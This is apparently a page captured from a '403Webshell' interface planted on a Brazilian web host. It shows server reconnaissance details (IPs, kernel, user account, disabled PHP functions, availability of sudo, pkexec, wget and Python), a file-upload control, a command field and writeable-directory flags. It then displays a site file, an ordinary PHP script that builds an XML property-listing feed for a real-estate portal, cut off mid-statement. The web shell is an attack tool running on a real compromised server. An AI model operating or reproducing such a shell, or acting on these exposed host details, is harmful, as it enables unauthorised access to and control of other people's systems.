403Webshell
Server IP : 23.111.136.34  /  Your IP : 216.73.216.136
Web Server : Apache
System : Linux servidor.eurohost.com.br 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : meusitei ( 1072)
PHP Version : 5.6.40
Disable Function : show_source, system, shell_exec, passthru, proc_open
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/meusitei/public_html/painel/geradoresintegracao/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/meusitei/public_html/painel/geradoresintegracao/dfimoveis.php
<?php
// Topo
$dom = new DOMDocument("1.0", "utf-8");
$root = $dom->createElement("Carga");
$dom->appendChild($root);
$dom->formatOutput = true;

$o = $dom->createAttribute("xmlns:xsi");
$root->appendChild($o);
$o1 = $dom->createTextNode("http://www.w3.org/2001/XMLSchema-instance");  
$o->appendChild($o1);

$oo = $dom->createAttribute("xmlns:xsd");
$root->appendChild($oo);
$o2 = $dom->createTextNode("http://www.w3.org/2001/XMLSchema");
$oo->appendChild($o2);
//inicio do Listings
$Listings = $dom->createElement("Imoveis");
$root->appendChild($Listings);

$imoveisintegrados = explode('-', $portal['imoveis']);

foreach ($imoveisintegrados as $campo) {
    $imovel_invalido_dfimoveis = '';
    if (@$infoimovel[$campo] != null) {
        echo $campo . '////' . serialize($infoimovel[$campo]) . '//////////';
// create child element
        @$campo = $infoimovel[$campo];
        $imovelvalido = 'nao';
        $validar = '1';
        if (($campo['valor'] != '') && ($campo['subtipoimovel'] != null) && ($campo['tipo'] != null) && ($campo['cod_referencia'] != null) && ($campo['cep_estado'] != null) && ($campo['cep'] != null) && ($campo['cep_logradouro'] != null) && ($campo['cep_cidade'] != null) && ($campo['cep_bairro'] != null)){
            $imovelvalido = 'sim';                                         
                        
            if($campo['status'] != '0'){
                $imovelvalido = 'nao';
                $imovel_invalido_dfimoveis .= 'Status do Imóvel: Arquivado'.'%';
            }
            
            if($campo['tipo'] != 'Terreno'){
                if($campo['areautil'] == ''){
                    $imovelvalido = 'nao';
                    $imovel_invalido_dfimoveis .= 'Área Útil'.'%';
                }
                
                if($campo['areatotal'] == ''){
                    $imovelvalido = 'nao';
                    $imovel_invalido_dfimoveis .= 'Área Total'.'%';
                }
            }    
            
            if(($campo['dormitorio'] == '0')){
                if(($campo['tipo'] != 'Terreno') && ($campo['tipo'] != 'Comercial') && ($campo['tipo'] != 'Rural')){
                      $imovelvalido = 'nao';
                      $imovel_invalido_dfimoveis .= 'Dormitório'.'%';
                }
                if(($campo['tipo'] == 'Rural')){
                    if(($campo['subtipoimovel'] != '') && ($campo['subtipoimovel'] != 'Comercial') && ($campo['subtipoimovel'] != 'Estância') && ($campo['subtipoimovel'] != 'granja') && ($campo['subtipoimovel'] != ' Lavoura')){
                      $imovelvalido = 'nao';
                      $imovel_invalido_dfimoveis .= 'Dormitório'.'%';
                    }  
                }
            }
            
            if ($imovelvalido == 'sim') {
                $validar = '0';
/////////////////////////////////////////////////////////////////////////// DF - INICIO

                $imovel = $dom->createElement("Imovel");
                $Listings->appendChild($imovel);
                
                $Title = $dom->createElement("CodigoCliente");
                $imovel->appendChild($Title);
                $TitleValue = $dom->createTextNode('12345');
                $Title->appendChild($TitleValue);

                $CodigoImovel = $dom->createElement("CodigoImovel");
                $imovel->appendChild($CodigoImovel);
                $codigoValue = $dom->createTextNode($campo['cod_referencia']);
                $CodigoImovel->appendChild($codigoValue);
                
                $portal_info = $this->acaoglobal(array('integracoes', 'id'), 'get', 17);
                $portal_info_imoveis = $portal_info['imoveis'];
                $portal_info_imoveis_tipo = $portal_info['imoveis_tipo'];

                $list_info_imoveis = explode('-', $portal_info_imoveis);
                $list_info_imoveis_tipo = explode('-', $portal_info_imoveis_tipo);
                $cont_info_imovel = 0;
                foreach ($list_info_imoveis as $info_imovel) {
                    if (($list_info_imoveis[$cont_info_imovel] == $campo['id_imovel'])) {
                       if($list_info_imoveis_tipo[$cont_info_imovel] == 'Normal'){
                            $info = '0';
                       }else{
                           $info = '1';
                       }                     
                    }

                    if ($info_imovel != '') {
                        $cont_info_imovel++;
                    }
                }
                
                $Title = $dom->createElement("Destaque");
                $imovel->appendChild($Title);
                $TitleValue = $dom->createTextNode($info);
                $Title->appendChild($TitleValue);
                
                if (($campo['tipo'] == 'Apartamento') && ($campo['subtipoimovel'] == 'Padrão')) {
                    $tipoimovel = 'Apartamento';
                    $subtipoimovel = 'Padrao';
                }
                
                if (($campo['tipo'] == 'Apartamento') && ($campo['subtipoimovel'] == 'Alto Padrão')) {
                    $tipoimovel = 'Apartamento';
                    $subtipoimovel = 'Padrao';
                }
                
                if (($campo['tipo'] == 'Apartamento') && ($campo['subtipoimovel'] == 'Cobertura')) {
                    $tipoimovel = 'Apartamento';
                    $subtipoimovel = 'Cobertura';
                }
                
                if (($campo['tipo'] == 'Apartamento') && ($campo['subtipoimovel'] == 'Duplex')) {
                    $tipoimovel = 'Apartamento';
                    $subtipoimovel = 'Duplex';
                }
                
                if (($campo['tipo'] == 'Apartamento') && ($campo['subtipoimovel'] == 'Triplex')) {
                    $tipoimovel = 'Apartamento';
                    $subtipoimovel = 'Triplex';
                }
                
                if (($campo['tipo'] == 'Apartamento') && ($campo['subtipoimovel'] == 'Loft')) {
                    $tipoimovel = 'Apartamento';
                    $subtipoimovel = 'Loft';
                }
                
                if (($campo['tipo'] == 'Apartamento') && ($campo['subtipoimovel'] == 'Loft Duplex')) {
                    $tipoimovel = 'Apartamento';
                    $subtipoimovel = 'Loft';
                }
                
                if (($campo['tipo'] == 'Apartamento') && ($campo['subtipoimovel'] == 'Loft Triplex')) {
                    $tipoimovel = 'Apartamento';
                    $subtipoimovel = 'Loft';
                }
                
                if (($campo['tipo'] == 'Apartamento') && ($campo['subtipoimovel'] == 'Sobreloja')) {
                    $tipoimovel = 'Apartamento';
                    $subtipoimovel = 'Padrao';
                }
                
                if (($campo['tipo'] == 'Apartamento') && ($campo['subtipoimovel'] == 'Kitnet')) {
                    $tipoimovel = 'Kitnet';
                    $subtipoimovel = 'Kitnet-Studio';
                }
                
                if (($campo['tipo'] == 'Apartamento') && ($campo['subtipoimovel'] == 'Flat')) {
                    $tipoimovel = 'Hotel-Flat';
                    $subtipoimovel = 'Hotel-Flat';
                }
                
                if (($campo['tipo'] == 'Apartamento') && ($campo['subtipoimovel'] == 'Village')) {
                    $tipoimovel = 'Apartamento';
                    $subtipoimovel = 'Padrao';
                }
                
                if (($campo['tipo'] == 'Casa') && ($campo['subtipoimovel'] == 'Padrão')) {
                    $tipoimovel = 'Casa';
                    $subtipoimovel = 'Térrea';
                }
                
                if (($campo['tipo'] == 'Casa') && ($campo['subtipoimovel'] == 'Alvenaria')) {
                    $tipoimovel = 'Casa';
                    $subtipoimovel = 'Térrea';
                }
                
                if (($campo['tipo'] == 'Casa') && ($campo['subtipoimovel'] == 'Madeira')) {
                    $tipoimovel = 'Casa';
                    $subtipoimovel = 'Térrea';
                }
                
                if (($campo['tipo'] == 'Casa') && ($campo['subtipoimovel'] == 'Térreo')) {
                    $tipoimovel = 'Casa';
                    $subtipoimovel = 'Térrea';
                }
                
                if (($campo['tipo'] == 'Casa') && ($campo['subtipoimovel'] == 'Em condomínio')) {
                    $tipoimovel = 'Casa';
                    $subtipoimovel = 'Condomínio';
                }
                
                if (($campo['tipo'] == 'Casa') && ($campo['subtipoimovel'] == 'Em vila fechada')) {
                    $tipoimovel = 'Casa';
                    $subtipoimovel = 'Condomínio';
                }
                
                if (($campo['tipo'] == 'Casa') && ($campo['subtipoimovel'] == 'Sobrado Padrão')) {
                    $tipoimovel = 'Casa';
                    $subtipoimovel = 'Sobrado';
                }
                
                if (($campo['tipo'] == 'Casa') && ($campo['subtipoimovel'] == 'Sobrado em condomínio')) {
                    $tipoimovel = 'Casa';
                    $subtipoimovel = 'Sobrado';
                }
                
                if (($campo['tipo'] == 'Casa') && ($campo['subtipoimovel'] == 'Sobrado em vila fechada')) {
                    $tipoimovel = 'Casa';
                    $subtipoimovel = 'Sobrado';
                }
                
                if (($campo['tipo'] == 'Casa') && ($campo['subtipoimovel'] == 'Sobrado Duplex')) {
                    $tipoimovel = 'Casa';
                    $subtipoimovel = 'Sobrado';
                }
                
                if (($campo['tipo'] == 'Casa') && ($campo['subtipoimovel'] == 'Sobrado Triplex')) {
                    $tipoimovel = 'Casa';
                    $subtipoimovel = 'Sobrado';
                }
                
                if (($campo['tipo'] == 'Casa') && ($campo['subtipoimovel'] == 'Assobradada')) {
                    $tipoimovel = 'Casa';
                    $subtipoimovel = 'Térrea';
                }
                
                if (($campo['tipo'] == 'Casa') && ($campo['subtipoimovel'] == 'Geminada')) {
                    $tipoimovel = 'Casa';
                    $subtipoimovel = 'Térrea';
                }
                
                if (($campo['tipo'] == 'Casa') && ($campo['subtipoimovel'] == 'Village')) {
                    $tipoimovel = 'Casa';
                    $subtipoimovel = 'Térrea';
                }
                
                if (($campo['tipo'] == 'Comercial') && ($campo['subtipoimovel'] == 'Loja')) {
                    $tipoimovel = 'Loja';
                    $subtipoimovel = 'Loja';
                }
                
                if (($campo['tipo'] == 'Comercial') && ($campo['subtipoimovel'] == 'Sala')) {
                    $tipoimovel = 'Sala';
                    $subtipoimovel = 'Sala';
                }
                
                if (($campo['tipo'] == 'Comercial') && ($campo['subtipoimovel'] == 'Loja de shopping')) {
                    $tipoimovel = 'Loja';
                    $subtipoimovel = 'Loja';
                }
                
                if (($campo['tipo'] == 'Comercial') && ($campo['subtipoimovel'] == 'Galpão')) {
                    $tipoimovel = 'Ponto Comercial';
                    $subtipoimovel = 'Galpão';
                }
                
                if (($campo['tipo'] == 'Comercial') && ($campo['subtipoimovel'] == 'Hotel')) {
                    $tipoimovel = 'Ponto Comercial';
                    $subtipoimovel = 'Hotel';
                }
                
                if (($campo['tipo'] == 'Comercial') && ($campo['subtipoimovel'] == 'Pousada')) {
                    $tipoimovel = 'Ponto Comercial';
                    $subtipoimovel = 'Pousada';
                }
                
                if (($campo['tipo'] == 'Comercial') && ($campo['subtipoimovel'] == 'Negócio')) {
                    $tipoimovel = 'Ponto Comercial';
                    $subtipoimovel = 'Ponto Comercial';
                }
                
                if (($campo['tipo'] == 'Comercial') && ($campo['subtipoimovel'] == 'Casa')) {
                    $tipoimovel = 'Ponto Comercial';
                    $subtipoimovel = 'Ponto Comercial';
                }
                
                if (($campo['tipo'] == 'Comercial') && ($campo['subtipoimovel'] == 'Sobrado')) {
                    $tipoimovel = 'Ponto Comercial';
                    $subtipoimovel = 'Ponto Comercial';
                }
                
                if (($campo['tipo'] == 'Comercial') && ($campo['subtipoimovel'] == 'Armazém')) {
                    $tipoimovel = 'Ponto Comercial';
                    $subtipoimovel = 'Ponto Comercial';
                }
                
                if (($campo['tipo'] == 'Comercial') && ($campo['subtipoimovel'] == 'Depósito')) {
                    $tipoimovel = 'Ponto Comercial';
                    $subtipoimovel = 'Ponto Comercial';
                }
                
                if (($campo['tipo'] == 'Comercial') && ($campo['subtipoimovel'] == 'Indústria')) {
                    $tipoimovel = 'Ponto Comercial';
                    $subtipoimovel = 'Ponto Comercial';
                }
                
                if (($campo['tipo'] == 'Comercial') && ($campo['subtipoimovel'] == 'Motel')) {
                    $tipoimovel = 'Ponto Comercial';
                    $subtipoimovel = 'Ponto Comercial';
                }
                
                if (($campo['tipo'] == 'Rural') && ($campo['subtipoimovel'] == 'Chácara')) {
                    $tipoimovel = 'Rural';
                    $subtipoimovel = 'Chácara-Sítio';
                }
                
                if (($campo['tipo'] == 'Rural') && ($campo['subtipoimovel'] == 'Chácara em condomínio')) {
                    $tipoimovel = 'Rural';
                    $subtipoimovel = 'Chácara-Sítio';
                }
                
                if (($campo['tipo'] == 'Rural') && ($campo['subtipoimovel'] == 'Fazenda')) {
                    $tipoimovel = 'Rural';
                    $subtipoimovel = 'Fazenda';
                }
                
                if (($campo['tipo'] == 'Rural') && ($campo['subtipoimovel'] == 'Sítio')) {
                    $tipoimovel = 'Rural';
                    $subtipoimovel = 'Chácara-Sítio';
                }
                
                if (($campo['tipo'] == 'Terreno') && ($campo['subtipoimovel'] == 'Em rua')) {
                    $tipoimovel = 'Lote';
                    $subtipoimovel = 'Lote Residencial';
                }
                
                if (($campo['tipo'] == 'Terreno') && ($campo['subtipoimovel'] == 'Em condomínio')) {
                    $tipoimovel = 'Lote';
                    $subtipoimovel = 'Lote Residencial';
                }
                
                if (($campo['tipo'] == 'Terreno') && ($campo['subtipoimovel'] == 'Em loteamento')) {
                    $tipoimovel = 'Lote';
                    $subtipoimovel = 'Lote Residencial';
                }
                
                if (($campo['tipo'] == 'Terreno') && ($campo['subtipoimovel'] == 'Comercial')) {
                    $tipoimovel = 'Lote';
                    $subtipoimovel = 'Lote Comercial';
                }
                
                if (($campo['tipo'] == 'Terreno') && ($campo['subtipoimovel'] == 'Área industrial')) {
                    $tipoimovel = 'Lote';
                    $subtipoimovel = 'Lote Industrial';
                }
                
                if (($campo['tipo'] == 'Terreno') && ($campo['subtipoimovel'] == 'Para empreendimento')) {
                    $tipoimovel = 'Lote';
                    $subtipoimovel = 'Lote Industrial';
                }              
                
                $Title = $dom->createElement("TipoImovel");
                $imovel->appendChild($Title);
                $TitleValue = $dom->createTextNode($tipoimovel);
                $Title->appendChild($TitleValue);

                $Category = $dom->createElement("SubTipoImovel");
                $imovel->appendChild($Category);
                $CategoryValue = $dom->createTextNode($subtipoimovel);
                $Category->appendChild($CategoryValue);                             
                
                $Category = $dom->createElement("Uf");
                $imovel->appendChild($Category);
                $CategoryValue = $dom->createTextNode($campo['cep_estado']);
                $Category->appendChild($CategoryValue);
                                
                $Category = $dom->createElement("Cidade");
                $imovel->appendChild($Category);
                $CategoryValue = $dom->createTextNode($campo['cep_cidade']);
                $Category->appendChild($CategoryValue);
                
                $Category = $dom->createElement("Bairro");
                $imovel->appendChild($Category);
                $CategoryValue = $dom->createTextNode($campo['cep_bairro']);
                $Category->appendChild($CategoryValue);
                
                $Category = $dom->createElement("CEP");
                $imovel->appendChild($Category);
                if ($campo['cep'] != "") {
                    if(strpos($campo['cep'],"-")){
                     $cep =  explode("-", $campo['cep']);
                     $cep = $cep[0].$cep[1];
                    }else{
                        $cep = $campo['cep'];
                    }
                }
                $CategoryValue = $dom->createTextNode($cep);
                $Category->appendChild($CategoryValue);
                
                $Category = $dom->createElement("Endereco");
                $imovel->appendChild($Category);
                $CategoryValue = $dom->createTextNode($campo['cep_logradouro']);
                $Category->appendChild($CategoryValue);
                
                if(($campo['negocio'] == 'Venda') || ($campo['negocio'] == 'Lançamento')){
                    $precoVenda = $campo['valor'];
                }else{
                    $precoVenda = '0';
                }
                                
                $Category = $dom->createElement("PrecoVenda");
                $imovel->appendChild($Category);
                $CategoryValue = $dom->createTextNode($precoVenda);
                $Category->appendChild($CategoryValue);
                
                if(($campo['negocio'] == 'Locação') || ($campo['negocio'] == 'Temporada')){
                    $precoLocacao = $campo['valor'];
                }else{
                    $precoLocacao = '0';
                }
                
                $Category = $dom->createElement("PrecoLocacao");
                $imovel->appendChild($Category);
                $CategoryValue = $dom->createTextNode($precoLocacao);
                $Category->appendChild($CategoryValue); 
                
                $Category = $dom->createElement("AreaUtil");
                $imovel->appendChild($Category);
                $CategoryValue = $dom->createTextNode($campo['areautil']);
                $Category->appendChild($CategoryValue);
                
                $Category = $dom->createElement("AreaTotal");
                $imovel->appendChild($Category);
                $CategoryValue = $dom->createTextNode($campo['areatotal']);
                $Category->appendChild($CategoryValue);
                
                $Category = $dom->createElement("UnidadeMetrica");
                $imovel->appendChild($Category);
                $CategoryValue = $dom->createTextNode('M2');
                $Category->appendChild($CategoryValue);
                
                $Category = $dom->createElement("QtdDormitorios");
                $imovel->appendChild($Category);
                $CategoryValue = $dom->createTextNode($campo['dormitorio']);
                $Category->appendChild($CategoryValue);
                
                $Category = $dom->createElement("QtdBanheiros");
                $imovel->appendChild($Category);
                $CategoryValue = $dom->createTextNode($campo['banheiro']);
                $Category->appendChild($CategoryValue);
                
                $Category = $dom->createElement("QtdSalas");
                $imovel->appendChild($Category);
                $CategoryValue = $dom->createTextNode('');
                $Category->appendChild($CategoryValue);
                
                $Category = $dom->createElement("QtdVagas");
                $imovel->appendChild($Category);
                $CategoryValue = $dom->createTextNode($campo['garagem']);
                $Category->appendChild($CategoryValue);
                
                $Category = $dom->createElement("QtdAndar");
                $imovel->appendChild($Category);
                $CategoryValue = $dom->createTextNode('');
                $Category->appendChild($CategoryValue);
                
                $Category = $dom->createElement("Observacao");
                $imovel->appendChild($Category);
                $CategoryValue = $dom->createTextNode($campo['descricaodoimovel']);
                $Category->appendChild($CategoryValue);
                                                
                $caracteristicas = unserialize($campo['caracteristicas']);
                
            if ($caracteristicas[0] != null) {
                foreach ($caracteristicas as $detalhe) {
                    //$buscaDetalhe = $this->acaoglobal(array('detalhes', 'id'), 'get', $detalhee);
                    //$detalhe = $buscaDetalhe['nome'];
                        
                            if ($detalhe == '474'){
                                $detalhe  = 'Coffee Shop';
                            }if($detalhe == '473'){
                                $detalhe  = 'Closet';
                            }if($detalhe == '472'){
                                $detalhe  = 'Cinema';
                            }if($detalhe == '471'){
                                $detalhe  = 'Churrasqueira';
                            }if($detalhe == '470'){
                                $detalhe  = 'Children Care';
                            }if($detalhe == '469'){
                                $detalhe  = 'Cerca';
                            }if($detalhe == '468'){
                                $detalhe  = 'Centro de estética';
                            }if($detalhe == '467'){
                                $detalhe  = 'Central telefônica';
                            }if($detalhe == '466'){
                                $detalhe  = 'Caseiro';
                            }if($detalhe == '465'){
                                $detalhe  = 'Casa de Fundo';
                            }if($detalhe == '464'){
                                $detalhe  = 'Casa de Caseiro';
                            }if($detalhe == '463'){
                                $detalhe  = 'Casa de Boneca';
                            }if($detalhe == '462'){
                                $detalhe  = 'Carpete';
                            }if($detalhe == '461'){
                                $detalhe  = 'Car Wash';
                            }if($detalhe == '460'){
                                $detalhe  = 'Campo de Golfe';
                            }if($detalhe == '459'){
                                $detalhe  = 'Campo de futebol';
                            }if($detalhe == '458'){
                                $detalhe  = 'Cameras de segurança';
                            }if($detalhe == '457'){
                                $detalhe  = 'Canil';
                            }if($detalhe == '456'){
                                $detalhe  = 'Business Center';
                            }if($detalhe == '455'){
                                $detalhe  = 'Bosque';
                            }if($detalhe == '454'){
                                $detalhe  = 'Brinquedoteca';
                            }if($detalhe == '453'){
                                $detalhe  = 'Bicicletário';
                            }if($detalhe == '452'){
                                $detalhe  = 'Bar';
                            }if($detalhe == '451'){
                                $detalhe  = 'Armário Embutido';
                            }if($detalhe == '450'){
                                $detalhe  = 'Armário Cozinha';
                            }if($detalhe == '449'){
                                $detalhe  = 'Área de Serviço';
                            }if($detalhe == '448'){
                                $detalhe  = 'Ar Condicionado';
                            }if($detalhe == '447'){
                                $detalhe  = 'Água';
                            }if($detalhe == '446'){
                                $detalhe  = 'Aquecimento Central';
                            }if($detalhe == '445'){
                                $detalhe  = 'Aquecedor';
                            }if($detalhe == '444'){
                                $detalhe  = 'Acesso para deficientes';
                            }if($detalhe == '443'){
                                $detalhe  = 'Acesso 24 Horas';
                            }if($detalhe == '442'){
                                $detalhe  = 'Academia';
                            }if($detalhe == '484'){
                                $detalhe  = 'Entrada de Caminhões';
                            }if($detalhe == '483'){
                                $detalhe  = 'Elevador';
                            }if($detalhe == '482'){
                                $detalhe  = 'Edícula';
                            }if($detalhe == '481'){
                                $detalhe  = 'Despensa';
                            }if($detalhe == '480'){
                                $detalhe  = 'Dependência de empregados';
                            }if($detalhe == '479'){
                                $detalhe  = 'Curral';
                            }if($detalhe == '478'){
                                $detalhe  = 'Cozinha Gourmet';
                            }if($detalhe == '477'){
                                $detalhe  = 'Cozinha americana';
                            }if($detalhe == '476'){
                                $detalhe  = 'Copa';
                            }if($detalhe == '475'){
                                $detalhe  = 'Convenções';
                            }if($detalhe == '485'){
                                $detalhe  = 'Entrada lateral';
                            }if($detalhe == '486'){
                                $detalhe  = 'Escritório';
                            }if($detalhe == '487'){
                                $detalhe  = 'Escritório Virtual';
                            }if($detalhe == '488'){
                                $detalhe  = 'Esgoto';
                            }if($detalhe == '489'){
                                $detalhe  = 'Espaço Gourmet';
                            }if($detalhe == '490'){
                                $detalhe  = 'Espaço zen';
                            }if($detalhe == '491'){
                                $detalhe  = 'Esquina';
                            }if($detalhe == '492'){
                                $detalhe  = 'Estacionamento para visitantes';
                            }if($detalhe == '493'){
                                $detalhe  = 'Estacionamento Rotativo';
                            }if($detalhe == '494'){
                                $detalhe  = 'Estacionamento Visitantes';
                            }if($detalhe== '495'){
                                $detalhe  = 'Estrada Asfaltada';
                            }if($detalhe == '496'){
                                $detalhe  = 'Fitness';
                            }if($detalhe == '497'){
                                $detalhe  = 'Forno de pizza';
                            }if($detalhe == '498'){
                                $detalhe  = 'Frente para o Mar';
                            }if($detalhe == '499'){
                                $detalhe  = 'Fogão elétrico';
                            }if($detalhe == '500'){
                                $detalhe  = 'Galpão';
                            }if($detalhe == '501'){
                                $detalhe  = 'Garagem para Barcos';
                            }if($detalhe == '502'){
                                $detalhe  = 'Gerador';
                            }if($detalhe == '503'){
                                $detalhe  = 'Geminada';
                            }if($detalhe == '504'){
                                $detalhe  = 'Guarita';
                            }if($detalhe == '505'){
                                $detalhe  = 'Heliponto';
                            }if($detalhe == '506'){
                                $detalhe  = 'Hidromassagem';
                            }if($detalhe == '507'){
                                $detalhe  = 'Infra-estrutura Internet';
                            }if($detalhe == '508'){
                                $detalhe  = 'Interfone';
                            }if($detalhe == '509'){
                                $detalhe  = 'Jardim';
                            }if($detalhe == '510'){
                                $detalhe  = 'Lago';
                            }if($detalhe == '511'){
                                $detalhe  = 'Lan House';
                            }if($detalhe == '512'){
                                $detalhe  = 'Lareira';
                            }if($detalhe == '513'){
                                $detalhe  = 'Lavabo';
                            }if($detalhe == '514'){
                                $detalhe  = 'Lavanderia';
                            }if($detalhe == '515'){
                                $detalhe  = 'Lavoura';
                            }if($detalhe == '516'){
                                $detalhe  = 'Luminárias';
                            }if($detalhe == '517'){
                                $detalhe  = 'Luz';
                            }if($detalhe == '518'){
                                $detalhe  = 'Marina';
                            }if($detalhe == '519'){
                                $detalhe  = 'Mezanino';
                            }if($detalhe == '520'){
                                $detalhe  = 'Mobiliado';
                            }if($detalhe == '521'){
                                $detalhe  = 'Paiol';
                            }if($detalhe == '522'){
                                $detalhe  = 'Pasto';
                            }if($detalhe == '523'){
                                $detalhe  = 'Pátio Estacionamento';
                            }if($detalhe == '524'){
                                $detalhe  = 'Permite Animais';
                            }if($detalhe == '525'){
                                $detalhe  = 'Pet Care';
                            }if($detalhe == '526'){
                                $detalhe  = 'Píer';
                            }if($detalhe == '527'){
                                $detalhe  = 'Piscina';
                            }if($detalhe == '528'){
                                $detalhe  = 'Piscina aquecida';
                            }if($detalhe == '529'){
                                $detalhe  = 'Pscina Climatizada';
                            }if($detalhe == '530'){
                                $detalhe  = 'Piscina Coberta';
                            }if($detalhe == '531'){
                                $detalhe  = 'Piscina Infantil';
                            }if($detalhe == '532'){
                                $detalhe  = 'Piso Elevado';
                            }if($detalhe == '533'){
                                $detalhe  = 'Pista de cooper';
                            }if($detalhe == '534'){
                                $detalhe  = 'Pista de Pouso';
                            }if($detalhe == '535'){
                                $detalhe  = 'Pista de Skate';
                            }if($detalhe == '536'){
                                $detalhe  = 'Playground';
                            }if($detalhe == '537'){
                                $detalhe  = 'Poço Artesiano';
                            }if($detalhe == '538'){
                                $detalhe  = 'Pomar';
                            }if($detalhe == '539'){
                                $detalhe  = 'Ponte Rolante';
                            }if($detalhe == '540'){
                                $detalhe  = 'Portão Eletrônico';
                            }if($detalhe == '541'){
                                $detalhe  = 'Portaria 24 horas';
                            }if($detalhe == '542'){
                                $detalhe  = 'Porteira Fechada';
                            }if($detalhe == '543'){
                                $detalhe  = 'Quadra de futebol de salão';
                            }if($detalhe == '544'){
                                $detalhe  = 'Quadra Poliesportiva';
                            }if($detalhe == '545'){
                                $detalhe  = 'Quadra de Squash';
                            }if($detalhe == '546'){
                                $detalhe  = 'Quadra de Tênis';
                            }if($detalhe == '547'){
                                $detalhe  = 'Quarto da Empregada';
                            }if($detalhe == '548'){
                                $detalhe  = 'Quintal';
                            }if($detalhe == '549'){
                                $detalhe  = 'Redario';
                            }if($detalhe == '550'){
                                $detalhe  = 'Rede de Telefone';
                            }if($detalhe == '551'){
                                $detalhe  = 'Refeitório';
                            }if($detalhe == '552'){
                                $detalhe  = 'Reservatório de Água';
                            }if($detalhe == '553'){
                                $detalhe  = 'Restaurante';
                            }if($detalhe == '554'){
                                $detalhe  = 'Rio';
                            }if($detalhe == '555'){
                                $detalhe  = 'Ronda/Vigilância';
                            }if($detalhe == '556'){
                                $detalhe  = 'Rua Asfaltada';
                            }if($detalhe == '557'){
                                $detalhe  = 'Sala de Almoço';
                            }if($detalhe == '558'){
                                $detalhe  = 'Sala de Ginástica';
                            }if($detalhe == '559'){
                                $detalhe  = 'Sala de Jantar';
                            }if($detalhe == '560'){
                                $detalhe  = 'Sala íntima';
                            }if($detalhe == '561'){
                                $detalhe  = ' convenções';
                            }if($detalhe == '562'){
                                $detalhe  = 'Salão de Festas';
                            }if($detalhe == '563'){
                                $detalhe  = 'Salão de Jogos';
                            }if($detalhe == '564'){
                                $detalhe  = 'Salão de Vídeo/Cinema';
                            }if($detalhe == '565'){ 
                                $detalhe  = 'Sauna';
                            }if($detalhe == '566'){
                                $detalhe  = 'Sede';
                            }if($detalhe == '567'){
                                $detalhe  = 'Segurança Interna';
                            }if($detalhe == '568'){
                                $detalhe  = 'Segurançaa na Rua';
                            }if($detalhe == '569'){
                                $detalhe  = 'Segurança Patrimonial';
                            }if($detalhe == '570'){
                                $detalhe  = 'Semigeminada';
                            }if($detalhe == '571'){
                                $detalhe  = 'Silos';
                            }if($detalhe == '572'){
                                $detalhe  = 'Sistema de alarme';
                            }if($detalhe == '573'){
                                $detalhe  = 'Sistema de Incêndio';
                            }if($detalhe == '574'){
                                $detalhe  = 'Solariam';
                            }if($detalhe == '575'){
                                $detalhe  = 'Telefone';
                            }if($detalhe == '576'){
                                $detalhe  = 'Terraço';
                            }if($detalhe == '577'){
                                $detalhe  = 'TV';
                            }if($detalhe == '578'){
                                $detalhe  = 'TV a cabo';
                            }if($detalhe == '579'){
                                $detalhe  = 'Varanda';
                            }if($detalhe == '580'){
                                $detalhe  = 'Varanda Goumert';
                            }if($detalhe == '581'){
                                $detalhe  = 'Ventilador de Teto';
                            }if($detalhe == '582'){
                                $detalhe  = 'Vestiário';
                            }if($detalhe == '583'){
                                $detalhe  = 'Vigilância 24hs';
                            }if($detalhe == '584'){
                                $detalhe  = 'WC Empregada';
                            }if($detalhe == '586'){
                                $detalhe  = 'Cascalho';
                            }if($detalhe == '585'){
                                $detalhe  = 'Terra';
                            }if($detalhe == '586'){
                                $detalhe  = 'Sacada';
                            }if($detalhe == '587'){
                                $detalhe  = 'Depósito';
                            }if($detalhe == '588'){
                                $detalhe  = 'Cabeamento estruturado';
                            }if($detalhe == '589'){
                                $detalhe  = 'Garagem';
                            }if($detalhe == '590'){
                                $detalhe  = 'Vista exterior';
                            }if($detalhe == '591'){
                                $detalhe  = 'Vista exterior';
                            }if($detalhe == '592'){
                                $detalhe  = 'Gramado';
                            }if($detalhe == '593'){
                                $detalhe  = 'Espelhos dágua';
                            }if($detalhe == '594'){
                                $detalhe  = 'Mais de um andar';
                            }if($detalhe == '595'){
                                $detalhe  = 'Serviço pay per use';
                            }if($detalhe == '596'){
                                $detalhe  = 'Vigia';
                            }if($detalhe == '597'){
                                $detalhe  = 'Espaço verde / Parque';
                            }if($detalhe == '598'){
                                $detalhe  = 'Recepção';
                            }if($detalhe == '599'){
                                $detalhe  = 'Garage band';
                            }if($detalhe == '600'){
                                $detalhe  = 'Massagem';
                            }if($detalhe == '601'){
                                $detalhe  = 'Spa';
                            }if($detalhe == '602'){
                                $detalhe  = 'Vista para a montanha';
                            }if($detalhe == '603'){
                                $detalhe  = 'Vista para lago';
                            }if($detalhe == '604'){
                                $detalhe  = 'Cascalho';
                            }                            
                             
                        if (($detalhe == 'Churrasqueira') || ($detalhe == 'churrasqueira')) { 
                            $Category = $dom->createElement("Churrasqueira");
                            $imovel->appendChild($Category);
                            $CategoryValue = $dom->createTextNode('1');
                            $Category->appendChild($CategoryValue);
                        }
                        if (($detalhe == 'Piscina') || ($detalhe == 'piscina') || ($detalhe == 'Piscina aquecida') || ($detalhe == 'Piscina Coberta') || ($detalhe == 'Piscina Infantil') || ($detalhe == 'Piscina Climatizada')) {  
                            $Category = $dom->createElement("Piscina");
                            $imovel->appendChild($Category);
                            $CategoryValue = $dom->createTextNode('1');
                            $Category->appendChild($CategoryValue);          
                        }
                        if (($detalhe == 'Ar Condicionado') || ($detalhe == 'ar condicionado') || ($detalhe == 'Ar condicionado')) {  
                            $Category = $dom->createElement("ArCondicionado");
                            $imovel->appendChild($Category);
                            $CategoryValue = $dom->createTextNode('1');
                            $Category->appendChild($CategoryValue);         
                        }
                        if (($detalhe == 'Área de Serviço')) {  
                            $Category = $dom->createElement("AreaServico");
                            $imovel->appendChild($Category);
                            $CategoryValue = $dom->createTextNode('1');
                            $Category->appendChild($CategoryValue);         
                        }
                        if (($detalhe == 'Guarita') || ($detalhe == 'Condomínio fechado')) {  
                            $Category = $dom->createElement("Porteiro");
                            $imovel->appendChild($Category);
                            $CategoryValue = $dom->createTextNode('1');
                            $Category->appendChild($CategoryValue);        
                        }
                        if (($detalhe == 'Varanda gourmet') || ($detalhe == 'Espaço Gourmet') || ($detalhe == 'Varanda')) {  
